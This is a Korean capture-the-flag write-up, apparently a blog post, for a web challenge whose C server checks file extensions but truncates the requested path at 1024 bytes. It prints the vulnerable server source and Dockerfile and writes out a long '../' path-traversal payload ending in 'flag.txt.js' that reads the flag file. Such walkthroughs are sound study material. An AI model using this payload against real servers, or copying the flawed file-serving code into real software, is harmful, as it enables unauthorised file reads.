문제 분석

맨 처음 문제에 접근하면 404 error 페이지가 표시되는 것을 확인 가능하고,
이에 Go Back 버튼을 클릭하면 index 페이지로 접근할 수 있다.

문제 페이지를 샅샅이 찾아봐도 사용자의 입력을 받아 서버와 상호작용 하는 곳은 url 창 외에 존재하지 않는다.
이쯤에서 파일을 다운로드하여 문제 파일을 확인해 보면 여타 웹 문제와 달리 server 파일로 c 파일을 사용하는 것을 알 수 있다.
// server.c
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#define PORT 8000
#define BUFFER_SIZE 1024
typedef struct {
char *content;
int size;
} FileWithSize;
bool ends_with(char *text, char *suffix) {
int text_length = strlen(text);
int suffix_length = strlen(suffix);
return text_length >= suffix_length && \
strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}
FileWithSize *read_file(char *filename) {
if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;
char real_path[BUFFER_SIZE];
snprintf(real_path, sizeof(real_path), "public/%s", filename);
FILE *fd = fopen(real_path, "r");
if (!fd) return NULL;
fseek(fd, 0, SEEK_END);
long filesize = ftell(fd);
fseek(fd, 0, SEEK_SET);
char *content = malloc(filesize + 1);
if (!content) return NULL;
fread(content, 1, filesize, fd);
content[filesize] = '\0';
fclose(fd);
FileWithSize *file = malloc(sizeof(FileWithSize));
file->content = content;
file->size = filesize;
return file;
}
void build_response(int socket_id, int status_code, char* status_description, FileWithSize *file) {
char *response_body_fmt =
"HTTP/1.1 %u %s\r\n"
"Server: mystiz-web/1.0.0\r\n"
"Content-Type: text/html\r\n"
"Connection: %s\r\n"
"Content-Length: %u\r\n"
"\r\n";
char response_body[BUFFER_SIZE];
sprintf(response_body,
response_body_fmt,
status_code,
status_description,
status_code == 200 ? "keep-alive" : "close",
file->size);
write(socket_id, response_body, strlen(response_body));
write(socket_id, file->content, file->size);
free(file->content);
free(file);
return;
}
void handle_client(int socket_id) {
char buffer[BUFFER_SIZE];
char requested_filename[BUFFER_SIZE];
while (1) {
memset(buffer, 0, sizeof(buffer));
memset(requested_filename, 0, sizeof(requested_filename));
if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;
if (sscanf(buffer, "GET /%s", requested_filename) != 1)
return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));
FileWithSize *file = read_file(requested_filename);
if (!file)
return build_response(socket_id, 404, "Not Found", read_file("404.html"));
build_response(socket_id, 200, "OK", file);
}
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
struct sockaddr_in server_address;
struct sockaddr_in client_address;
int socket_id = socket(AF_INET, SOCK_STREAM, 0);
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(PORT);
if (bind(socket_id, (struct sockaddr*)&server_address, sizeof(server_address)) == -1) exit(1);
if (listen(socket_id, 5) < 0) exit(1);
while (1) {
int client_address_len;
int new_socket_id = accept(socket_id, (struct sockaddr *)&client_address, (socklen_t*)&client_address_len);
if (new_socket_id < 0) exit(1);
int pid = fork();
if (pid == 0) {
handle_client(new_socket_id);
close(new_socket_id);
}
}
}
서버 코드에서 확인 가능한 취약점은 sscanf로 인해 발생하는 파일경로 취약점이다.
// server.c
while (1) {
memset(buffer, 0, sizeof(buffer));
memset(requested_filename, 0, sizeof(requested_filename));
if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;
if (sscanf(buffer, "GET /%s", requested_filename) != 1)
return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));
FileWithSize *file = read_file(requested_filename);
if (!file)
return build_response(socket_id, 404, "Not Found", read_file("404.html"));
build_response(socket_id, 200, "OK", file);
}
서버 파일에선 sscanf로 유저가 GET 요청을 보낼 때 그 뒤를 파싱해 입력받는데
// server.c
if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;
유저의 GET 요청 시 확장자를 위 코드를 통해 검사한다.
// Dockerfile
FROM ubuntu:jammy-20240911.1
WORKDIR /app
ENV DEBIAN_FRONTEND noninteractive
RUN apt update
RUN apt -y install gcc
COPY ./src .
COPY ./flag.txt /flag.txt
RUN gcc server.c -o server
RUN useradd -ms /bin/bash www
USER www
ENTRYPOINT ["/app/server"]
그러나 flag파일은 flag.txt로 서버의 코드상 유저가 flag.txt 요청을 보내면 그 확장자가. txt 이기에 필터링되어 정상적인 시도로는 불러와지지 않는다
다만 sscanf가 읽는 버퍼 requested.filename은 그 크기가 1024지만 sscanf 특성상 입력값엔 제한이 없어 bof를 사용한 공격이 가능한 것이다.
// server.c
FileWithSize *read_file(char *filename) {
if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;
char real_path[BUFFER_SIZE];
snprintf(real_path, sizeof(real_path), "public/%s", filename);
FILE *fd = fopen(real_path, "r");
if (!fd) return NULL;
fseek(fd, 0, SEEK_END);
long filesize = ftell(fd);
fseek(fd, 0, SEEK_SET);
char *content = malloc(filesize + 1);
if (!content) return NULL;
fread(content, 1, filesize, fd);
content[filesize] = '\0';
fclose(fd);
FileWithSize *file = malloc(sizeof(FileWithSize));
file->content = content;
file->size = filesize;
return file;
}
이렇게 사용자에게 입력받은 값은 public/ 아래의 경로로 추가되어 서버는 이에 해당하는 경로를 찾게 되는데, 이때
/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../flag.txt.js
이러한 1020 바이트의 요청을 보내게 된다면 서버는 public/을 포함한 총 1027 바이트를 받게 된다.
그러나 배열 real_path는 1024 크기를 갖기 때문에. js가 입력되지 않아 서버는 결과적으로 flag.txt를 가져와 flag를 얻는 것이 가능하다.

'CTF' 카테고리의 다른 글
| [CodeGate 2023] Calculator (0) | 2025.03.20 |
|---|---|
| [ISITDTU CTF] Another one Write-Up (0) | 2025.02.27 |
| [hkcert] Mystiz's Mini CTF (2) Write Up (0) | 2025.02.27 |
| [IrisCTF] Political (0) | 2025.02.27 |
| [IrisCTF] Password Manager (0) | 2025.02.27 |